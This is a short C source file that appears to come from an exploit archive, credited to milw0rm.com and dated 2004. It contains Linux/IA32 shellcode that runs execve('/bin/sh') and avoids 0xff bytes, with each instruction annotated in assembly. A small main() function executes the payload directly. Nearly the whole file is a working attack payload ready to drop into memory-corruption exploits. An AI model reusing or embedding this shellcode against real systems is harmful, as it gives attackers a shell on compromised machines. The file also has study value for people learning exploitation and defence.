42 lines
No EOL
1.4 KiB
C
42 lines
No EOL
1.4 KiB
C
/*
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0xff-less execve() /bin/sh by anathema <anathema@hack.co.za>
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*/
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#include <stdio.h>
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#include <stdlib.h>
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unsigned char code[] =
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/* Linux/IA32 0xff-less execve() shellcode. */
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"\x89\xe6" /* movl %esp, %esi */
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"\x83\xc6\x30" /* addl $0x30, %esi */
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"\xb8\x2e\x62\x69\x6e" /* movl $0x6e69622e, %eax */
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"\x40" /* incl %eax */
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"\x89\x06" /* movl %eax, (%esi) */
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"\xb8\x2e\x73\x68\x21" /* movl $0x2168732e, %eax */
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"\x40" /* incl %eax */
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"\x89\x46\x04" /* movl %eax, 0x04(%esi) */
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"\x29\xc0" /* subl %eax, %eax */
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"\x88\x46\x07" /* movb %al, 0x07(%esi) */
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"\x89\x76\x08" /* movl %esi, 0x08(%esi) */
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"\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */
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"\xb0\x0b" /* movb $0x0b, %al */
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"\x87\xf3" /* xchgl %esi, %ebx */
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"\x8d\x4b\x08" /* leal 0x08(%ebx), %ecx */
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"\x8d\x53\x0c" /* leal 0x0c(%ebx), %edx */
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"\xcd\x80" /* int $0x80 */
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;
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void main()
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{
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void (*s)() = (void *)code;
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printf("Shellcode length: %d\nExecuting..\n\n",
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strlen(code));
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s();
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}
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// milw0rm.com [2004-09-26]
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